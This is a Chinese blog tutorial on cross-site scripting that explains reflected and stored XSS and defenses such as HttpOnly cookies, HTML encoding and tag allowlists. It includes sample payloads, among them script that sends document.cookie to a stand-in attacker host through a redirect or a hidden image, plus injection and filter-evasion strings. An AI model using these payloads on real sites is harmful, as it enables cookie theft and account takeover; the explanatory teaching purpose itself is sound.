那些年我们懵逼的安全知识——XSS

前几天在面试的时候,被问过两次前端安全知识,第一次听见的时候是懵逼的,后面赶紧回去补了一番,可是第二次回答的时候,感觉对方还是不是很满意的样子,所以我赶紧又再次对这些再次系统的了解了一下

什么是XSS

首先,靠死记硬背肯定是不行的,总是特别容易就忘记了。
那么我们得先了解 XSS的全名呀:
XSS 全称(Cross Site Scripting) 跨站脚本攻击
XSS 全称(Cross Site Scripting) 跨站脚本攻击
XSS 全称(Cross Site Scripting) 跨站脚本攻击
重要的事情说三遍
(原本的缩写应该是 CSS可惜和我们伟大的CSS重名了,只好委屈一下更名 XSS)
在这句话里面,我们能够捕捉到几个信息:

  • 一个是跨站
  • 一个是脚本Scripting

所以,区别xss攻击和别的攻击一个最基本的特点就是:它需要注入脚本
它是代码注入的一种。它允许恶意用户将代码注入到网页上,在其他用户访问网站的时候,脚本运行从而影响他人。这类攻击通常包含了HTML以及用户端脚本语言。

举个栗子

XSS这种攻击是由外部发起的,在用户点击链接,下载图片或者提交表单的时候,对应用网站进行了意想之外的操作。
详细以前玩过QQ空间的人可能会遇到过一个类似的恶作剧,有人故意在一个页面里面运行了一个行这样的代码

1
2
3
while (true) {
alert("你关不掉我~");
}

当我们点击的时候,弹窗总是一直一直的在不停的被关闭和跳出,手机观看也是一样的,这个时候,我们就不得不关掉浏览器,再重新开一次。

又比如
我可以在一些贴吧或者是社区里面写上一些链接,起一点比较有吸引力的名字,比如叫:某某的后裔大结局下载,某某的美图,然后代码里面悄悄附上我下面这段链接,这样不明真相的吃瓜观众或许就会被我吸引从而点击这个链接

1
location.href='http://www.xss.com?cookie='+document.cookie; //坏人的网站

用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。

虽然都是注入脚本,但是上面两个例子还是有点点不同的,接下来让我们看看

XSS攻击分类

根据XSS脚本注入方式的不同,我们可以对XSS攻击进行简单的分类。其中,最常见的就数反射型XSS和存储型XSS了。

反射型

反射型XSS,又称非持久型XSS。

  • 称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。
  • 又称为非持久型XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。

比如攻击者将如下链接发送给受害者:

1
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>

当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。

这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型XSS的原因。

存储型

存储型XSS,又称持久型XSS

  • 这种攻击往往比上面的反射性要后果要更严重。
  • 和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和文件中

这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。

当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。

可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型的XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入的往往是一些我们所信任的页面,因此无论我们多么小心,都难免会受到攻击。可以说,存储型XSS更具有隐蔽性,带来的危害也更大,除非服务器能完全阻止注入,否则任何人都很有可能受到攻击。

让我们回顾一下,上面的栗子2就是一个存储型XSS的很好的栗子,在贴吧里面发布信息并提交,让各种看到这个帖子的人点击进去,运行这个脚本。
或许你又会说,那我不点击那个奇怪的链接就好了啊,或者让管理员去把那些删掉就好。
那么让我们换种方式吧,在我的图片下面附上这样的代码,你很有可能是完全都不会发觉的:

1
2
3
4
var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

而且,在网页注入代码的方法可能的多种多样的,可以这样

1
2
3
<a href="http://www.xss.com" onclick=alert(this.name) name=xss ref=xss></a>
//或者
onload="alert('xss')"

这个时候,我们就必须得相处点办法,将标签识别,比如:不让script过去,然而人算不如黑客算呀,他们又有一种新方式了,像这样:

1
2
3
&lt;script&gt; alert(&quot;xss&quot;)&lt;/script&gt; 
//或者
$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');

然后咱们就GG了又….

如何防御

讲了那么多,大家一定很慌,宝宝上个网太危险了。没关系,还是有一点的方法去抵御的。

http only

由于大部分xss攻击都是想要窃取我们的cookie来做坏事的,所以我们如果能够让他们不能拿到我们的cookie的话,那起码我们的各种损失可以降下来一半。
我们可以给浏览器设置Cookie的头如下:

1
2
3
  Set-Cookie: =[; =]
  [; expires=][; domain=]
  [; path=][; secure][; HttpOnly]

这样一来,就不能通过脚本来获取你现在活动状态下的cookie,但是咱们是个有志向的程序员,怎么可以就此满足。

过滤JavaScript 事件的标签

例如,我们可以过滤"onclick", "onfocus" , "onload"这种类型的标签。包括一些大小写"oNcLick", "onFOcus" 这种类型的也要注意过滤,不然人家轻轻一改,就坑爹了。当然过滤这些事件标签还不够,只要人家坚持不懈,还是可以找到一些漏洞的地方,像下面这个

1
2
3
4
5
6
7
<a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>
<!-- 事件处理被过滤了吗?或者是仅仅过滤了on后面的mouseover? -->

<!-- 接下来插入一个无效的事件处理,查看是否所有的事件处理都会被过滤或者仅部分会被过滤。 -->

<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
<!-- 收到相同的响应了吗?可以插入吗? -->

在HTML5中,存在超过150种事件处理,这也意味着我们有150多种方法来执行javascript。
所以还需要有更保险一点的方法才行

Html Encode 处理

XSS之所以会发生, 是因为用户输入的数据变成了代码。
要想拒绝引入代码,就得要把这些变成一个字段,而不是被浏览器运行的代码。
所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的”中括号”, “单引号”,“引号” 之类的特殊字符进行编码。
让本身一段代码,变成了一段显示的字符串

又又又又但是…..
不知道大家有么有用过富文本编辑器,像这种
富文本编辑器
当我们使用富文本编辑器里面的一些功能的时候,我们会发现,其对应的html标签也会发生相应的改变

这个时候,使用html过滤就行不通了,因为很有可能会把里面的那些样式输出到文本里面,对于一些BBS,他们尚可以用自定义的一些标签比如 [标签名]这种方式来绕过html编码,但是对于其他的没有自定义标签的编辑器来说,可能就是灾难了。

如何解决,下面让我们来看下一种方法。

过滤特殊的Html标签

我们可以预判哪些标签是有可能造成xss攻击的,然后对标签过滤或者是移除。这个和上面的过滤事件的标签是非常类似的,可以将他们合并一起过滤。

比如我们可以设置让所有的<script> <iframe> <a> <img>等等标签都不能通行,来达到我们的目的。
但是也不只是这种方式,我们可以反向思维

其实这里过滤有两种可以选择的方式:

  • 过滤对我们有害的标签,不让其通行过去。除此之外都可以通过————设置黑名单
  • 过滤对我们安全的标签,可以让其过去,除此之外的都不可以通过————设置白名单

一般我们会选择哪种呢?
如果是我的话,为了保险起见,可能会选择白名单的模式,因为其实可以执行的事件是很多的,标签也有各种各样,难保攻击者不会找到一个特别偏门的标签来选择攻击,所以选择我们已经信任的一些白名单来允许通过,会更加有力的去阻止xss攻击一些。

参考文档

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×